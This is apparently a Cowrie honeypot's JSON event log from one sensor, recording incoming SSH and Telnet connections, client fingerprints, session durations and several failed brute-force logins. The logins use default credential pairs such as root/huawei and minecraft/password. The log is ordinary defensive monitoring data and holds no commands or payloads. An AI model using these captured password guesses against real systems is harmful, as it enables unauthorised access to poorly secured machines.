{"eventid":"cowrie.session.closed","duration":46.89944005012512,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:15.214332Z","src_ip":"134.209.8.29","session":"2ce51a18ad47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:15.702383Z","src_ip":"176.65.132.254","session":"476bbba5a74e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38192,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca917a48f65e","protocol":"telnet","message":"New connection: 38.54.119.93:38192 (10.17.0.5:23) [session: ca917a48f65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:16.042770Z"}
{"eventid":"cowrie.session.closed","duration":35.75736165046692,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:16.794687Z","src_ip":"62.210.97.77","session":"39957e26cd6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55418,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e1a8754c708","protocol":"ssh","message":"New connection: 176.65.132.254:55418 (10.17.0.5:22) [session: 8e1a8754c708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:18.379315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:18.384388Z","src_ip":"176.65.132.254","session":"8e1a8754c708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:18.466816Z","src_ip":"176.65.132.254","session":"8e1a8754c708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:18.739482Z","src_ip":"176.65.132.254","session":"8e1a8754c708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39824,"dst_ip":"10.17.0.5","dst_port":23,"session":"326a8d069cc1","protocol":"telnet","message":"New connection: 62.210.97.77:39824 (10.17.0.5:23) [session: 326a8d069cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:18.959967Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:19.952944Z","src_ip":"176.65.132.254","session":"8e1a8754c708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.2231361865997314,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:20.263840Z","src_ip":"38.54.119.93","session":"ca917a48f65e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74917459487915,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:20.945954Z","src_ip":"62.210.97.77","session":"f30a1473ab15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39830,"dst_ip":"10.17.0.5","dst_port":23,"session":"fed2d2f1028f","protocol":"telnet","message":"New connection: 62.210.97.77:39830 (10.17.0.5:23) [session: fed2d2f1028f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:21.665817Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39838,"dst_ip":"10.17.0.5","dst_port":23,"session":"c614e37dce2e","protocol":"telnet","message":"New connection: 62.210.97.77:39838 (10.17.0.5:23) [session: c614e37dce2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:22.423078Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55130,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d6f8a5e3138","protocol":"ssh","message":"New connection: 176.65.132.254:55130 (10.17.0.5:22) [session: 4d6f8a5e3138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:22.469291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:22.474659Z","src_ip":"176.65.132.254","session":"4d6f8a5e3138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:22.557749Z","src_ip":"176.65.132.254","session":"4d6f8a5e3138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.33034920692444,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:22.594057Z","src_ip":"62.210.97.77","session":"a2ab0282a21a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"3417aefbc21a","protocol":"telnet","message":"New connection: 62.210.97.77:39842 (10.17.0.5:23) [session: 3417aefbc21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:22.829818Z"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:22.844904Z","src_ip":"176.65.132.254","session":"4d6f8a5e3138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:23.944869Z","src_ip":"176.65.132.254","session":"4d6f8a5e3138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.964229583740234,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:24.382093Z","src_ip":"62.210.97.77","session":"26226af1397c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33234453201294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:25.334610Z","src_ip":"62.210.97.77","session":"e006abeb0f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.98624300956726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:25.775333Z","src_ip":"62.210.97.77","session":"319a0f6516b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55142,"dst_ip":"10.17.0.5","dst_port":22,"session":"22280480a140","protocol":"ssh","message":"New connection: 176.65.132.254:55142 (10.17.0.5:22) [session: 22280480a140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:26.297922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:26.303029Z","src_ip":"176.65.132.254","session":"22280480a140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:26.384726Z","src_ip":"176.65.132.254","session":"22280480a140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:26.640943Z","src_ip":"176.65.132.254","session":"22280480a140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39856,"dst_ip":"10.17.0.5","dst_port":23,"session":"4066fcbcdd7b","protocol":"telnet","message":"New connection: 62.210.97.77:39856 (10.17.0.5:23) [session: 4066fcbcdd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:26.904031Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39872,"dst_ip":"10.17.0.5","dst_port":23,"session":"138453c888a5","protocol":"telnet","message":"New connection: 62.210.97.77:39872 (10.17.0.5:23) [session: 138453c888a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:27.281919Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39884,"dst_ip":"10.17.0.5","dst_port":23,"session":"29119deeafab","protocol":"telnet","message":"New connection: 62.210.97.77:39884 (10.17.0.5:23) [session: 29119deeafab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:27.457728Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:27.729812Z","src_ip":"176.65.132.254","session":"22280480a140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.106.29.184","src_port":43756,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cba9ef41a2e","protocol":"telnet","message":"New connection: 185.106.29.184:43756 (10.17.0.5:23) [session: 6cba9ef41a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:27.941673Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"557a5508bfbf","protocol":"telnet","message":"New connection: 62.210.97.77:39886 (10.17.0.5:23) [session: 557a5508bfbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:28.258137Z"}
{"eventid":"cowrie.session.closed","duration":38.262866497039795,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:28.497241Z","src_ip":"62.210.97.77","session":"1cc6ab656222","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33350,"dst_ip":"10.17.0.5","dst_port":23,"session":"c05211fc3bf0","protocol":"telnet","message":"New connection: 62.210.97.77:33350 (10.17.0.5:23) [session: c05211fc3bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:28.914326Z"}
{"eventid":"cowrie.session.closed","duration":43.226882457733154,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:29.462843Z","src_ip":"134.209.8.29","session":"c49cebba85c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.47856402397156,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:29.703279Z","src_ip":"65.60.27.33","session":"1f66aeed1861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55154,"dst_ip":"10.17.0.5","dst_port":22,"session":"04eb4d5c9d1b","protocol":"ssh","message":"New connection: 176.65.132.254:55154 (10.17.0.5:22) [session: 04eb4d5c9d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:30.344245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:30.350095Z","src_ip":"176.65.132.254","session":"04eb4d5c9d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:30.440476Z","src_ip":"176.65.132.254","session":"04eb4d5c9d1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33362,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ca8882c3af","protocol":"telnet","message":"New connection: 62.210.97.77:33362 (10.17.0.5:23) [session: 63ca8882c3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:30.676366Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:30.718073Z","src_ip":"176.65.132.254","session":"04eb4d5c9d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:31.808900Z","src_ip":"176.65.132.254","session":"04eb4d5c9d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99211645126343,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:32.373670Z","src_ip":"62.210.97.77","session":"f6ac3fa9e50e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33368,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a4b0df8fa2","protocol":"telnet","message":"New connection: 62.210.97.77:33368 (10.17.0.5:23) [session: c3a4b0df8fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:33.167087Z"}
{"eventid":"cowrie.session.closed","duration":35.4500150680542,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:33.203536Z","src_ip":"62.210.97.77","session":"72eaaf154f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33374,"dst_ip":"10.17.0.5","dst_port":23,"session":"7653e0962f4e","protocol":"telnet","message":"New connection: 62.210.97.77:33374 (10.17.0.5:23) [session: 7653e0962f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:33.641078Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33164,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbfc13bdb2f2","protocol":"telnet","message":"New connection: 65.60.27.33:33164 (10.17.0.5:23) [session: cbfc13bdb2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:33.728496Z"}
{"eventid":"cowrie.session.closed","duration":32.26453685760498,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.146927Z","src_ip":"62.210.97.77","session":"0c44c1edcec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.118696212768555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.332904Z","src_ip":"62.210.97.77","session":"ebc2b1c3dcd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37702,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc919d87ff99","protocol":"ssh","message":"New connection: 176.65.132.254:37702 (10.17.0.5:22) [session: bc919d87ff99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.352478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.356992Z","src_ip":"176.65.132.254","session":"bc919d87ff99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.443295Z","src_ip":"176.65.132.254","session":"bc919d87ff99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.528162479400635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.559021Z","src_ip":"62.210.97.77","session":"120d0e2260c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.620755672454834,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.806238Z","src_ip":"62.210.97.77","session":"e3ef49de6633","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:34.838636Z","src_ip":"176.65.132.254","session":"bc919d87ff99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:35.937962Z","src_ip":"176.65.132.254","session":"bc919d87ff99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.6637909412384,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:36.269170Z","src_ip":"62.210.97.77","session":"aac24b9e2f50","protocol":"telnet"}
